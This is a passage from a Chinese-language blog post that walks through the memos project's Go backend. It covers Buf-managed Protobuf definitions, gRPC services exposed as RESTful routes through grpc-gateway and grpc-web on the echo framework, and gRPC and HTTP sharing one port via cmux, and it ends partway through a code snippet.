真就硬生生地拼字段,硬生生的写死预编译占位符。</p> <p>当然,有人提了 issue 问为什么不用 ORM,并且推荐了 <code>sqlc</code> 和 <code>sqlbuilders</code> 两个库。作者的回复是前者 <code>looks a little weird</code> (?),后者 <code> pretty much the same as the existing way</code>,综上所属作者认为保持现状啥也不改!😅</p> <p>FYI:<a href="https://github.com/usememos/memos/issues/2517">https://github.com/usememos/memos/issues/2517</a></p> <h2 id="玩出花的-grpc">玩出花的 gRPC</h2> <p>memos 项目中对 gRPC 的写法可谓是教科书级别的。我也算是对着它的代码入门了下 gRPC。说来惭愧,我以前除了拿 Protobuf 写过 Hello World 的 demo,就没有更深入的应用了。</p> <h3 id="buf">Buf</h3> <p><a href="https://github.com/bufbuild/buf">Buf</a> 是一个用来辅助使用 Protobuf 的工具。它相当于为 Protobuf 实现了“包管理”的功能,你可以使用 <code>buf.yaml</code> 来定义需要引用的第三方 Proto,还可以配置 Lint 之类的规则。运行 <code>buf generate</code> 后便会自动去帮我们完成运行 <code>protoc-gen-go</code> 等一切操作。memos 中就使用到了 Buf,可以在 <a href="https://github.com/usememos/memos/blob/edc3f1d9d9f8a7b075e0f53f22dd0480cc26451e/proto/buf.yaml"><code>proto/buf.yaml</code></a> 找到。Buf 还会生成一个 <code>buf.lock</code> 文件,也就是包管理中常见的签名文件。</p> <p>我们可以观察到 Buf 的 <code>dep</code> 依赖形如 <code>buf.build/googleapis/googleapis</code> 这样的 URL,访问便可跳转到 Buf Schema Registry 上对应 Package 的页面。</p> <p>感觉用 Buf 来处理 Protobuf,操作简便,逼格一下就上去了,学到了。</p> <h3 id="目录结构">目录结构</h3> <p>memos 的 <code>/proto</code> 目录下,<code>store</code> 目录与数据库的表结构对应,为每张表对应的实例的 proto 定义。<code>api/v1</code> 目录中则是 <code>service</code> 的定义,这里则对应了 Web API 的路由。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-protobuf" data-lang="protobuf"><span style="display:flex;"><span><span style="color:#ff7b72">service</span> AuthService {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#8b949e;font-style:italic">// GetAuthStatus returns the current auth status of the user. </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> <span style="color:#ff7b72">rpc</span> GetAuthStatus(GetAuthStatusRequest) <span style="color:#ff7b72">returns</span> (User) {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {post<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;/api/v1/auth/status&#34;</span>};<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> }<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#8b949e;font-style:italic">// SignIn signs in the user with the given username and password. </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> <span style="color:#ff7b72">rpc</span> SignIn(SignInRequest) <span style="color:#ff7b72">returns</span> (User) {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {post<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;/api/v1/auth/signin&#34;</span>};<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> }<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#8b949e;font-style:italic">// SignInWithSSO signs in the user with the given SSO code. </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> <span style="color:#ff7b72">rpc</span> SignInWithSSO(SignInWithSSORequest) <span style="color:#ff7b72">returns</span> (User) {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {post<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;/api/v1/auth/signin/sso&#34;</span>};<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> }<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#8b949e;font-style:italic">// SignUp signs up the user with the given username and password. </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> <span style="color:#ff7b72">rpc</span> SignUp(SignUpRequest) <span style="color:#ff7b72">returns</span> (User) {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {post<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;/api/v1/auth/signup&#34;</span>};<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> }<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#8b949e;font-style:italic">// SignOut signs out the user. </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> <span style="color:#ff7b72">rpc</span> SignOut(SignOutRequest) <span style="color:#ff7b72">returns</span> (google.protobuf.Empty) {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {post<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;/api/v1/auth/signout&#34;</span>};<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> }<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span>}<span style="color:#f85149"> </span></span></span></code></pre></div><p>例如上述代码,<code>service</code> 中的每个 <code>rpc</code> 可以看作与一个 API 相对应。</p> <p>例如 <code>GetAuthStatusRequest</code> 这些是在下面定义的 <code>message</code> ,相当于是接口的入参表单,<code>returns</code> 指定了返回值。没有返回值的接口则使用了 <code>google.protobuf.Empty</code> 。</p> <p><code>option</code> 指定了 HTTP 下的请求路由和请求方法。</p> <p>对于动态路由,感觉会有些复杂:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-protobuf" data-lang="protobuf"><span style="display:flex;"><span><span style="color:#ff7b72">rpc</span> GetMemo(GetMemoRequest) <span style="color:#ff7b72">returns</span> (Memo) {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {get<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;/api/v1/{name=memos/*}&#34;</span>};<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.method_signature) <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">&#34;name&#34;</span>;<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span>}<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span><span style="color:#ff7b72">rpc</span> UpdateMemo(UpdateMemoRequest) <span style="color:#ff7b72">returns</span> (Memo) {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> patch<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;/api/v1/{memo.name=memos/*}&#34;</span><span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> body<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;memo&#34;</span><span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> };<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.method_signature) <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">&#34;memo,update_mask&#34;</span>;<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span>}<span style="color:#f85149"> </span></span></span></code></pre></div><p>第一个 <code>GetMemo</code> 中,限制了路由的必须要匹配到 <code>/api/v1/memos/*</code> ,后面的 <code>method_signature</code> 指定了必须要传 <code>name</code> 参数。</p> <p>第二个 <code>UpdateMemo</code> 中,限制了路由必须匹配 <code>/api/v1/memos/*</code> 。大括号里有个很怪的 <code>memo.name=</code>,因为 proto 里参数都是在 rpc 的入参传入的(即 <code>UpdateMemoRequest</code> ),只是我们在通过 HTTP API 访问时才有 Path、Header、Query、Body 这些传参的方式。因此在 <code>rpc</code> 的定义里,路由中通配符的值来自于 <code>UpdateMemoRequest</code> 中的 <code>memo.name</code> 。而后面的 <code>method_signature</code> 指定了 <code>memo</code> 和 <code>update_mask</code> 为必须要传的参数。</p> <p>Service 的具体实现上,其实跟正常写 HTTP 接口差不多,Service 结构体实现对应 interface 里定义的方法即可。我注意到方法的错误处理,使用的是 <code>google.golang.org/grpc/status</code> 构造的 <code>error</code>,状态码也是 grpc 包里自带的。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> (s <span style="color:#ff7b72;font-weight:bold">*</span>APIV1Service) <span style="color:#d2a8ff;font-weight:bold">GetMemo</span>(ctx context.Context, request <span style="color:#ff7b72;font-weight:bold">*</span>v1pb.GetMemoRequest) (<span style="color:#ff7b72;font-weight:bold">*</span>v1pb.Memo, <span style="color:#ff7b72">error</span>) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, status.<span style="color:#d2a8ff;font-weight:bold">Errorf</span>(codes.PermissionDenied, <span style="color:#a5d6ff">&#34;permission denied&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p><code>codes</code> 包里定义了 17 种状态码,我开始还怀疑就这么点状态码类型真的能给所有的错误分类吗?事实证明还真可以。像 RESTful API 里常常表示的 <code>403</code> 没权限、<code>404</code> 不存在、<code>400</code> 格式不对、<code>5xx</code> 服务寄了 等状态,都可以找到状态码进行对应。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">var</span> strToCode = <span style="color:#ff7b72">map</span>[<span style="color:#ff7b72">string</span>]Code{ </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;OK&#34;`</span>: OK, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;CANCELLED&#34;`</span>:<span style="color:#8b949e;font-style:italic">/* [sic] */</span> Canceled, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;UNKNOWN&#34;`</span>: Unknown, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;INVALID_ARGUMENT&#34;`</span>: InvalidArgument, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;DEADLINE_EXCEEDED&#34;`</span>: DeadlineExceeded, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;NOT_FOUND&#34;`</span>: NotFound, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;ALREADY_EXISTS&#34;`</span>: AlreadyExists, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;PERMISSION_DENIED&#34;`</span>: PermissionDenied, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;RESOURCE_EXHAUSTED&#34;`</span>: ResourceExhausted, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;FAILED_PRECONDITION&#34;`</span>: FailedPrecondition, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;ABORTED&#34;`</span>: Aborted, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;OUT_OF_RANGE&#34;`</span>: OutOfRange, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;UNIMPLEMENTED&#34;`</span>: Unimplemented, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;INTERNAL&#34;`</span>: Internal, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;UNAVAILABLE&#34;`</span>: Unavailable, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;DATA_LOSS&#34;`</span>: DataLoss, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;UNAUTHENTICATED&#34;`</span>: Unauthenticated, </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><h3 id="grpc-server-和-restful-api-server">gRPC Server 和 RESTful API Server</h3> <p>memos 的 <code>server/server.go</code> 文件定义了 HTTP 服务。它的 HTTP 服务使用 echo 框架。</p> <p>重点看下面的代码:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>grpcServer <span style="color:#ff7b72;font-weight:bold">:=</span> grpc.<span style="color:#d2a8ff;font-weight:bold">NewServer</span>( </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Override the maximum receiving message size to math.MaxInt32 for uploading large resources.</span> </span></span><span style="display:flex;"><span> grpc.<span style="color:#d2a8ff;font-weight:bold">MaxRecvMsgSize</span>(math.MaxInt32), </span></span><span style="display:flex;"><span> grpc.<span style="color:#d2a8ff;font-weight:bold">ChainUnaryInterceptor</span>( </span></span><span style="display:flex;"><span> apiv1.<span style="color:#d2a8ff;font-weight:bold">NewLoggerInterceptor</span>().LoggerInterceptor, </span></span><span style="display:flex;"><span> grpcrecovery.<span style="color:#d2a8ff;font-weight:bold">UnaryServerInterceptor</span>(), </span></span><span style="display:flex;"><span> apiv1.<span style="color:#d2a8ff;font-weight:bold">NewGRPCAuthInterceptor</span>(store, secret).AuthenticationInterceptor, </span></span><span style="display:flex;"><span> )) </span></span><span style="display:flex;"><span>s.grpcServer = grpcServer </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>apiV1Service <span style="color:#ff7b72;font-weight:bold">:=</span> apiv1.<span style="color:#d2a8ff;font-weight:bold">NewAPIV1Service</span>(s.Secret, profile, store, grpcServer) </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Register gRPC gateway as api v1.</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> apiV1Service.<span style="color:#d2a8ff;font-weight:bold">RegisterGateway</span>(ctx, echoServer); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;failed to register gRPC gateway&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>这里首先声明了一个 gRPC Server,并加了些常见的 Recover 中间件、Logger 拦截器、ACL 鉴权拦截器等。</p> <p>后面的 <code>NewAPIV1Service</code> 创建每一块接口的 ServiceServer。跟进去可以看到,它会向上述定义的 gRPC Server 注册所支持的服务。这些注册服务的 <code>v1pb.RegisterXXXServiceServer</code> 就是用 proto 文件自动生成的了。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">NewAPIV1Service</span>(secret <span style="color:#ff7b72">string</span>, profile <span style="color:#ff7b72;font-weight:bold">*</span>profile.Profile, store <span style="color:#ff7b72;font-weight:bold">*</span>store.Store, grpcServer <span style="color:#ff7b72;font-weight:bold">*</span>grpc.Server) <span style="color:#ff7b72;font-weight:bold">*</span>APIV1Service { </span></span><span style="display:flex;"><span> grpc.EnableTracing = <span style="color:#79c0ff">true</span> </span></span><span style="display:flex;"><span> apiv1Service <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72;font-weight:bold">&amp;</span>APIV1Service{ </span></span><span style="display:flex;"><span> Secret: secret, </span></span><span style="display:flex;"><span> Profile: profile, </span></span><span style="display:flex;"><span> Store: store, </span></span><span style="display:flex;"><span> grpcServer: grpcServer, </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterWorkspaceServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterWorkspaceSettingServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterAuthServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterUserServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterMemoServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterResourceServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterInboxServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterActivityServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterWebhookServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterMarkdownServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterIdentityProviderServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> reflection.<span style="color:#d2a8ff;font-weight:bold">Register</span>(grpcServer) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> apiv1Service </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>最后的 <code>reflection.Register(grpcServer)</code> 用于注册 gRPC 的反射功能,让客户端在运行时能动态获取 gRPC 服务的相关信息,如服务列表、方法列表、方法的输入输出参数类型等,而不需要事先知道服务的具体定义。</p> <hr> <p>向 gRPC Server 注册完服务后,下面是<strong>将 Echo 框架启动的 HTTP Server 作为 Gateway,以实现通过 HTTP 的方式来访问 gRPC Service。</strong>(echoServer 就是 <code>echo.New()</code> 出来的实例)</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Register gRPC gateway as api v1.</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> apiV1Service.<span style="color:#d2a8ff;font-weight:bold">RegisterGateway</span>(ctx, echoServer); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;failed to register gRPC gateway&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>跟进去看定义。这里居然新建了一个 gRPC 的客户端!</p> <p><code>runtime.NewServeMux()</code> 是 <code>grpc-gateway</code> 下的包,用于返回一个 HTTP Mux,后续就可以交给任意的 Go HTTP 框架去调用。下面自动生成的 <code>v1pb.RegisterXXXServiceHandler</code> 这些路由 Handler,就是来自于上文 proto 文件里的 <code>google.api.http</code> 注解。</p> <p>最后将这个 HTTP Mux 包起来交给 echo 框架的 handler,放在了 <code>/api/v1/*</code> 路由下。这样我们就实现了 RESTful 风格的 API。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// RegisterGateway registers the gRPC-Gateway with the given Echo instance.</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> (s <span style="color:#ff7b72;font-weight:bold">*</span>APIV1Service) <span style="color:#d2a8ff;font-weight:bold">RegisterGateway</span>(ctx context.Context, echoServer <span style="color:#ff7b72;font-weight:bold">*</span>echo.Echo) <span style="color:#ff7b72">error</span> { </span></span><span style="display:flex;"><span> conn, err <span style="color:#ff7b72;font-weight:bold">:=</span> grpc.<span style="color:#d2a8ff;font-weight:bold">NewClient</span>( </span></span><span style="display:flex;"><span> fmt.<span style="color:#d2a8ff;font-weight:bold">Sprintf</span>(<span style="color:#a5d6ff">&#34;%s:%d&#34;</span>, s.Profile.Addr, s.Profile.Port), </span></span><span style="display:flex;"><span> grpc.<span style="color:#d2a8ff;font-weight:bold">WithTransportCredentials</span>(insecure.<span style="color:#d2a8ff;font-weight:bold">NewCredentials</span>()), </span></span><span style="display:flex;"><span> grpc.<span style="color:#d2a8ff;font-weight:bold">WithDefaultCallOptions</span>(grpc.<span style="color:#d2a8ff;font-weight:bold">MaxCallRecvMsgSize</span>(math.MaxInt32)), </span></span><span style="display:flex;"><span> ) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> err </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> gwMux <span style="color:#ff7b72;font-weight:bold">:=</span> runtime.<span style="color:#d2a8ff;font-weight:bold">NewServeMux</span>() </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterWorkspaceServiceHandler</span>(ctx, gwMux, conn); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> err </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// ...</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterIdentityProviderServiceHandler</span>(ctx, gwMux, conn); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> err </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> gwGroup <span style="color:#ff7b72;font-weight:bold">:=</span> echoServer.<span style="color:#d2a8ff;font-weight:bold">Group</span>(<span style="color:#a5d6ff">&#34;&#34;</span>) </span></span><span style="display:flex;"><span> gwGroup.<span style="color:#d2a8ff;font-weight:bold">Use</span>(middleware.<span style="color:#d2a8ff;font-weight:bold">CORS</span>()) </span></span><span style="display:flex;"><span> handler <span style="color:#ff7b72;font-weight:bold">:=</span> echo.<span style="color:#d2a8ff;font-weight:bold">WrapHandler</span>(gwMux) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> gwGroup.<span style="color:#d2a8ff;font-weight:bold">Any</span>(<span style="color:#a5d6ff">&#34;/api/v1/*&#34;</span>, handler) </span></span><span style="display:flex;"><span> gwGroup.<span style="color:#d2a8ff;font-weight:bold">Any</span>(<span style="color:#a5d6ff">&#34;/file/*&#34;</span>, handler) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// GRPC web proxy.</span> </span></span><span style="display:flex;"><span> options <span style="color:#ff7b72;font-weight:bold">:=</span> []grpcweb.Option{ </span></span><span style="display:flex;"><span> grpcweb.<span style="color:#d2a8ff;font-weight:bold">WithCorsForRegisteredEndpointsOnly</span>(<span style="color:#79c0ff">false</span>), </span></span><span style="display:flex;"><span> grpcweb.<span style="color:#d2a8ff;font-weight:bold">WithOriginFunc</span>(<span style="color:#ff7b72">func</span>(_ <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">bool</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">true</span> </span></span><span style="display:flex;"><span> }), </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> wrappedGrpc <span style="color:#ff7b72;font-weight:bold">:=</span> grpcweb.<span style="color:#d2a8ff;font-weight:bold">WrapServer</span>(s.grpcServer, options<span style="color:#ff7b72;font-weight:bold">...</span>) </span></span><span style="display:flex;"><span> echoServer.<span style="color:#d2a8ff;font-weight:bold">Any</span>(<span style="color:#a5d6ff">&#34;/memos.api.v1.*&#34;</span>, echo.<span style="color:#d2a8ff;font-weight:bold">WrapHandler</span>(wrappedGrpc)) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span> </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>下面还声明了一个 gRPC Web Proxy,这个是用 HTTP 的方式来调 gRPC。使用的 <code>grpcweb</code> 包,调用接口传参并不是用的 Query 或者 Body,而是 protobuf 将参数序列化后再发送那套。跟走纯 TCP 相比,仅仅只是这里走的是 HTTP 请求而已。换句话说,就是让浏览器能跟 gRPC Server 通信了。</p> <p>而浏览器中调用会有同源跨域的问题,所以可以看到这里的 <code>grpcweb.Option</code> 也是逐重解决 CORS 和 Origin。</p> <p>希望看到这里你没被绕晕。你会发现,<strong>memos 其实是用 HTTP 实现了两套服务:RESTful API 和 gRPC Server API</strong>。这两套背后的业务逻辑都是一样的,且都是使用 HTTP 协议,不同点在于路由和传参的方式不一样。</p> <h3 id="端口复用">端口复用</h3> <p>有个比较抽象的小细节不知道你发现了没有,gRPC Server -&gt; gRPC Server API 只需要用 grpcweb 包一下就行了,但 RESTful API 需要再本地建一个 gRPC Client,然后这个 Client 自己请求本地的 Server。整条链路是 HTTP Mux -&gt; Handler Func -&gt; gRPC Client -&gt; gRPC Server。而这个 gRPC Client 监听的端口,居然与对外的 HTTP 服务的端口是一样的!</p> <p>换句话说,就是 <strong>gRPC Server 和 echo HTTP Server 复用了同一个端口</strong>。</p> <p>这里是使用了 <a href="http://github.com/soheilhy/cmux">github.com/soheilhy/cmux</a> 这个库来实现。这个库支持定义 Matcher 条件,哪个匹配上了就走哪个的 Serve。</p> <p>像 gRPC Server 在通过 HTTP 调用时,通过 Body 发送 Protobuf 报文,<code>Content-Type</code> 为 <code>application/grpc</code>;而 RESTful API 则是常规的 HTTP 请求,除了 <code>PATCH</code> 方法外都会命中。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>muxServer <span style="color:#ff7b72;font-weight:bold">:=</span> cmux.<span style="color:#d2a8ff;font-weight:bold">New</span>(listener) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">go</span> <span style="color:#ff7b72">func</span>() { </span></span><span style="display:flex;"><span> grpcListener <span style="color:#ff7b72;font-weight:bold">:=</span> muxServer.<span style="color:#d2a8ff;font-weight:bold">MatchWithWriters</span>(cmux.<span style="color:#d2a8ff;font-weight:bold">HTTP2MatchHeaderFieldSendSettings</span>(<span style="color:#a5d6ff">&#34;content-type&#34;</span>, <span style="color:#a5d6ff">&#34;application/grpc&#34;</span>)) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> s.grpcServer.<span style="color:#d2a8ff;font-weight:bold">Serve</span>(grpcListener); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> slog.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;failed to serve gRPC&#34;</span>, <span style="color:#a5d6ff">&#34;error&#34;</span>, err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>}() </span></span><span style="display:flex;"><span><span style="color:#ff7b72">go</span> <span style="color:#ff7b72">func</span>() { </span></span><span style="display:flex;"><span> httpListener <span style="color:#ff7b72;font-weight:bold">:=</span> muxServer.<span style="color:#d2a8ff;font-weight:bold">Match</span>(cmux.<span style="color:#d2a8ff;font-weight:bold">HTTP1Fast</span>(http.MethodPatch)) </span></span><span style="display:flex;"><span> 